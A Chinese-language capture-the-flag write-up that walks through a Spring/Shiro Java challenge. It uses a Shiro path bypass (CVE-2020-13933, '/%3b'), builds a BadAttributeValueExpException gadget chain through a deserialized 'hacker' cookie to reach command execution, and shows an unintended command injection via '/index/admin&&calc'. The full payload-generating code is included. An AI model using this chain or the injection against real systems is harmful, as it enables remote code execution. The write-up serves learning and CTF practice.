作者: summersec
文章首发:https://www.anquanke.com/post/id/231488

前言

这是某银行的内部的一个CTF比赛,受邀参加。题目三个关键词权限绕过shiro反序列化,题目源码已经被修改,但考察本质没有,题目源码会上传到JavaLearnVulnerability

黑盒测试

  • xray测试shiro的key
  • dirsearch跑目录
  • sqlmap测试登陆框是否存在sql注入

白盒代码审计

源码初步分析

  • 版本 shiro == 1.5.3(不存在remember反序列化漏洞,但存在CVE-2020-13933权限绕过漏洞) 在这里插入图片描述

  • shiro验证通过Realm的方式判断用户是否合法,此处重写doGetAuthorizationInfo方法,账户名admin(可能有用)。
protected AuthenticationInfo doGetAuthenticationInfo(AuthenticationToken authenticationToken) throws AuthenticationException {
        String username = (String)authenticationToken.getPrincipal();
        if (!"admin".equals(username)) {
            throw new UnknownAccountException("unkown user");
        } else {
            return new SimpleAuthenticationInfo(username, UUID.randomUUID().toString().replaceAll("-", ""), getName());
        }
    }

  • 访问控制权限,可能看到indexdologin存在访问权限。
    * anon:匿名用户可访问
    * authc:认证用户可访问
    * user:使用rememberMe可访问
    * perms:对应权限可访问
    * role:对应角色权限可访问
    
    @Bean
    ShiroFilterFactoryBean shiroFilterFactoryBean() {
        ShiroFilterFactoryBean bean = new ShiroFilterFactoryBean();
        bean.setSecurityManager(this.securityManager());
        bean.setLoginUrl("/login");
        Map<String, String> map = new LinkedHashMap();
        map.put("/doLogin", "anon");
        map.put("/index/*", "authc");
        bean.setFilterChainDefinitionMap(map);
        return bean;
    }

  • SQL注入?第一眼反应感觉可能存在注入漏洞或者是XSS但又想到是CTF比赛,应该是不会考察XSS,所以觉得是SQL注入漏洞,然后用SQLMAP尝试一波注入绕过后,没有发现SQL注入漏洞。
@Override
    public String filter(String param) {
        String[] keyWord = new String[]{"'", "\"", "select", "union", "/;", "/%3b"};
        String[] var3 = keyWord;
        int var4 = keyWord.length;

        for(int var5 = 0; var5 < var4; ++var5) {
            String i = var3[var5];
            param = param.replaceAll(i, "");
        }

        return param;
    }

  • 远程命令执行?翻遍代码发现调用exeCmd方法只有LogHandler
public static String exeCmd(String commandStr) {
        BufferedReader br = null;
        String OS = System.getProperty("os.name").toLowerCase();

        try {
            Process p = null;
            if (OS.startsWith("win")){
                p = Runtime.getRuntime().exec(new String[]{"cmd", "/c", commandStr});
            }else {
                p = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", commandStr});
            }

            br = new BufferedReader(new InputStreamReader(p.getInputStream()));
            String line = null;
            StringBuilder sb = new StringBuilder();

            while((line = br.readLine()) != null) {
                sb.append(line + "\n");
            }

            return sb.toString();
        } catch (Exception var5) {
            var5.printStackTrace();
            return "error";
        }
    }

灰盒测试

  • 根据获取的账号admin尝试爆破(无果)
  • sql注入再次尝试根据前面过滤掉参数进行bypass(无果),后期发现根本没有数据库链接操作,不可能存在sql注入。
  • 根据获取的shiro版本可知,没有shiro反序列化漏洞但有权限绕过(成功)。

   目前为止只能根据页面知道,该页面是一个访问日志展示页面。 在这里插入图片描述


源码深度刨析

深度分析

   Javaweb题目当然还是得从web页面分析,看源码分析一共就两个类访问控制器是处理web请求的。 IndexController处理登录前后页面 LoginController处理登录请求页面    前面分析到没有数据库,在源码也没发现登录的账号和密码故不用考虑 LoginController类,深度分析IndexController类发现该类存在反序列化操作。

@GetMapping({"/index/{name}"})
    public String index(HttpServletRequest request, HttpServletResponse response, @PathVariable String name) throws Exception {
        Cookie[] cookies = request.getCookies();
        boolean exist = false;
        Cookie cookie = null;
        User user = null;
        if (cookies != null) {
            Cookie[] var8 = cookies;
            int var9 = cookies.length;

            for(int var10 = 0; var10 < var9; ++var10) {
                Cookie c = var8[var10];
                //判断cookie中是否存在hacker字段
                if (c.getName().equals("hacker")) {
                    exist = true;
                    cookie = c;
                    break;
                }
            }
        }

        // 存在hacker字段,执行反序列化操作
        // 
        if (exist) {

            byte[] bytes = Tools.base64Decode(cookie.getValue());
            //反序列化操作点
            user = (User)Tools.deserialize(bytes);


        } else {
        // 没有hacker字段,添加一个并设置其值
            user = new User();
            user.setID(1);
            user.setUserName(name);
            cookie = new Cookie("hacker", Tools.base64Encode(Tools.serialize(user)));
            response.addCookie(cookie);
        }
        // 添加值到前端页面
        request.setAttribute("hacker", user);
        request.setAttribute("logs", new LogHandler());
        return "index";
    }
  • 前端源码 在这里插入图片描述
  • 存在反序列化点,下一步肯定构造反序列化请求,但如何构造反序列化请求呢?前文提及到调用exeCmd方法只有LogHandler类。分析该类,两个方法都调用exeCmd执行命令。invoke方法里面调用的exeCmd是执行wirteLog命令,而toString方法里面调用exeCmd是执行readLog命令。
public class LogHandler extends HashSet implements InvocationHandler {

    private Object target;
    private String readLog = "tail  accessLog.txt";
    private String writeLog = "echo /test >> accessLog.txt";

    public LogHandler() {
    }

    public LogHandler(Object target) {
        this.target = target;
    }

    @Override
    // 请求url路径写入访问日志
    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
        Tools.exeCmd(this.writeLog.replaceAll("/test", (String)args[0]));
        return method.invoke(this.target, args);
    }

    @Override
    // 读取日志返回结果
    public String toString() {
        return Tools.exeCmd(this.readLog);
    }
}

小结

总结下目前为止所有的信息点:

  1. 存在权限绕过,URL:index/%3b/admin(/%3b可以是/'/, select, union, /;之一)
  2. 存在反序列化点IndexController#index,构造请求cookie一定要有hacker字段。
  3. index/admin是访问日志
  4. 反序列化执行的点在LogHandler其中的两个方法

Payload构造

下面两端代码分别是通过反射调用invoketoString方法达到执行命令目的,对比一下很明显toString方法更加的简单质朴。

    public void invoke() throws Throwable {
        LogHandler logHandler = new LogHandler();
        Field wirtelog = logHandler.getClass().getDeclaredField("writeLog");
        wirtelog.setAccessible(true);
        wirtelog.set(logHandler, "calc");
        Object ob = new Object();
        Method method = logHandler.getClass().getMethod("invoke", Object.class, Method.class, Object[].class);
        Object[] obs = new Object[]{"asd","asd"};
        logHandler.invoke(ob,method,obs);
    }

在这里插入图片描述

public void ToString() throws NoSuchFieldException, IllegalAccessException {
        LogHandler logHandler = new LogHandler();
        Field readlog = logHandler.getClass().getDeclaredField("readLog");
        readlog.setAccessible(true);
        readlog.set(logHandler, "calc");
        logHandler.toString();

    }

在这里插入图片描述


   反序列化点get!反序列化目标get!最后一步构造反序列化链!现在缺少一个封装类将构造好的类封装发给服务器直接反序列化,ysoserial其中的CC5中使用的BadAttributeValueExpException异常类满足要求。最终Payload如下:


    public static void Calc() throws Throwable {
        LogHandler logHandler = new LogHandler();
        Field readlog = logHandler.getClass().getDeclaredField("readLog");
        readlog.setAccessible(true);
        readlog.set(logHandler, "calc");
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
        Field field = badAttributeValueExpException.getClass().getDeclaredField("val");
        field.setAccessible(true);
        field.set(badAttributeValueExpException, logHandler);
        String datas = Tools.base64Encode(Tools.serialize(badAttributeValueExpException));
        System.out.println("Cookie: " + "hacker="+ datas);

    }

在这里插入图片描述


非预期--执行命令

效果如下:访问/index/admin&&calc会执行命令

在这里插入图片描述

原因分析

   根本原因在下面这一段,作者没有考虑到用户会使用管道来执行命令,直接将url路径直接就写访问日志中,导致执行命令。

public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
        Tools.exeCmd(this.writeLog.replaceAll("/test", (String)args[0]));
        return method.invoke(this.target, args);
    }

知识补充

   写到这,其实是对shiro一些知识的补充。前期对shiro了解较少,后期做了大量知识补充。官方给的是jar包,反编译之后改成自己的踩了 一些坑。顺便记录一下,只想看题目分析的可以Pass。

  1. 下面是自己不仔细导致错误,其实都知道,但是忘记了
    • User没有实现Serializable接口导致报错,不能反序列化
    • User类没有serialVersionUID导致报错,版本不一致
  2. Tools类没有判断操作系统的版本,导致执行命令不成功 在这里插入图片描述
  3. tail命令在windows系统是没有的,导致无法生成acessLog.txt文件
  4. tail加了-f参数导致服务器一直读取文件,导致长时间不回显
  5. 注释掉MyFilterComponent就是shiro原本的CVE-2020-13933漏洞 在这里插入图片描述

  6. 学习了b站关于shiro内容【狂神说Java】SpringBoot整合Shiro框架


总结

 *              Gadget:
 *                  Tools.base64Decode()
 *                      Tools.deserialize()
 *                          ObjectInputStream.readObject()
 *                              BadAttributeValueExpException.readObject()
 *                                  LogHandler.toSting()
 *                                      Tools.exeCmd()

   当时写这个题目的时候已经无限接近答案了,只是当时不确定怎么封装类。不得不说CC链还是不熟悉,没有完全吃透,不得不说CC永远的神!


参考

https://github.com/SummerSec/JavaLearnVulnerability
https://www.bilibili.com/video/BV1NE411i7S8


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